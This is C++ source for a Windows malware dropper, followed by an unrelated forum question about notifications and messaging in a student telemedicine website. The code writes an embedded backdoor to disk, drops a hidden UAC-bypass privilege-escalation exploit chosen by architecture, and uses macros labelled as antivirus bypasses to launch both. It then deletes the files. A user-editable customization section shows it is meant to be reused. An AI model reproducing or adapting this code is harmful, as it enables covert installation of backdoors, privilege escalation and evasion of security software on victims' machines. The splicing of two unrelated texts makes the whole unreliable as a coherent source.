#include <windows.h>
#include <iostream>
// Functions for AntiVirus bypass
#include "bypass.hpp"
// Plain installer
#include "installer.hpp"
// Local privileges elevators
#include "x32_elevator.hpp"
#include "x64_elevator.hpp"
// ======= [BEGIN EASY COSTUMIZATION] =======
#define EXPLOIT_EXE_NAME "temp.exe"
#define BACKDOOR_EXE_NAME "net.exe"
// ======== [END EASY COSTUMIZATION] ========
#pragma warning(disable : 4996) // Keep using GetVersionEx()
// Check if the system is vulnerable to a Local Privileges Escalation
BOOL IsVulnerableOS()
{
OSVERSIONINFO osvInfo;
memset(&osvInfo, 0, sizeof(OSVERSIONINFO));
osvInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
// http://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx
// Check version is greater than Windows Vista ｩ
if (GetVersionEx(&osvInfo))
return osvInfo.dwMajorVersion == 6;
return TRUE;
}
// Check if the architecture is 32 or 64 bit
BOOL IsAMD64()
{
__tGetNativeSystemInfo lpfnGetNativeSystemInfo;
SYSTEM_INFO sysInfo;
memset(&sysInfo, 0, sizeof(SYSTEM_INFO));
// Simple bypass for AV
AV_BYPASS__GetNativeSystemInfo(lpfnGetNativeSystemInfo)
if(NULL != lpfnGetNativeSystemInfo)
lpfnGetNativeSystemInfo(&sysInfo);
else
GetSystemInfo(&sysInfo);
// This is outdated wProcessorArchitecture instead of dwOemId should be used
if ((WORD)sysInfo.dwOemId == PROCESSOR_ARCHITECTURE_AMD64)
return TRUE;
return FALSE;
}
int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
CHAR szShellExecute[14];
CHAR szWorkFileName[MAX_PATH];
CHAR szTempPath[MAX_PATH];
CHAR szWorkDir[MAX_PATH];
CHAR szNetPath[MAX_PATH];
GetCurrentDirectory(MAX_PATH, szWorkDir);
sprintf(szTempPath, "%s\\" EXPLOIT_EXE_NAME, szWorkDir);
GetModuleFileName(NULL, szWorkFileName, MAX_PATH);
FILE *f = fopen(szWorkFileName, "rb");
if (NULL == f)
return 0;
// Inject configuration in the executable
char lpBuf[288] = {};
fseek(f, 688, 0);
fread(lpBuf, 1, 288, f);
memcpy(&g_lpInstaller[688], lpBuf, 288);
HANDLE hNetHandle;
__tShellExecute lpfnShellExecute;
if (TRUE == IsVulnerableOS())
{
sprintf(szNetPath, "%s\\" BACKDOOR_EXE_NAME, szWorkDir);
// Write the backdoor and wait for privileges escalation
hNetHandle = CreateFile(szNetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE != hNetHandle)
{
DWORD dwTmp = 0;
WriteFile(hNetHandle, g_lpInstaller, sizeof(g_lpInstaller), &dwTmp, 0); // Original size: 55808
CloseHandle(hNetHandle);
}
// Write exploit to attempt local privileges escalation
// (See http://www.pretentiousname.com/misc/win7_uac_whitelist2.html for more info)
HANDLE hTempHandle = CreateFile(szTempPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_HIDDEN, NULL);
if (INVALID_HANDLE_VALUE != hTempHandle)
{
DWORD dwTempTmp = 0, dwSizeTemp;
const unsigned char *lpBufTemp;
if (TRUE == IsAMD64())
{
dwSizeTemp = sizeof(g_lpElevator64); // Original size: 88576
lpBufTemp = g_lpElevator64;
}
else
{
dwSizeTemp = sizeof(g_lpElevator32); // Original size: 81920
lpBufTemp = g_lpElevator32;
}
WriteFile(hTempHandle, lpBufTemp, dwSizeTemp, &dwTempTmp, 0);
CloseHandle(hTempHandle);
}
Sleep(200);
// Simple bypass for AV
AV_BYPASS__ShellExecute(szShellExecute)
lpfnShellExecute = (__tShellExecute)GetProcAddress(LoadLibrary("Shell32.dll"), szShellExecute);
// Execute the exploit and try to gain privileges
if (NULL != lpfnShellExecute(NULL, "Open", szTempPath, NULL, NULL, SW_SHOWNORMAL))
{
Sleep(20000);
DeleteFile(szTempPath);
DeleteFile(szNetPath);
return 0;
}
}
else
{
sprintf(szNetPath, "%s\\" BACKDOOR_EXE_NAME, szWorkDir);
// Write the backdoor and skip privileges escalation
hNetHandle = CreateFile(szNetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE != hNetHandle)
{
DWORD dwTmp_ = 0;
WriteFile(hNetHandle, g_lpInstaller, sizeof(g_lpInstaller), &dwTmp_, 0); // Original size: 55808
CloseHandle(hNetHandle);
}
Sleep(200);
// Simple bypass for AV
AV_BYPASS__ShellExecute(szShellExecute)
lpfnShellExecute = (__tShellExecute)GetProcAddress(LoadLibrary("Shell32.dll"), szShellExecute);
// Execute the backdoor without escalating privileges
if (lpfnShellExecute(NULL, "Open", szNetPath, NULL, NULL, SW_SHOWNORMAL))
{
// Simple bypass for AV
AV_BYPASS__Sleep(20000)
DeleteFile(szNetPath);
return 0;
}
}
return 0;
}
can i get some help? a website is involved in my FYP which is based on Telemedicine ...its a CMS......i just want to notify a person whenever he gets message from doctor/patient or his data gets updated through wearable sensors...in short can you guide me how to notify? and the other thing is how to send message from one user account to other?
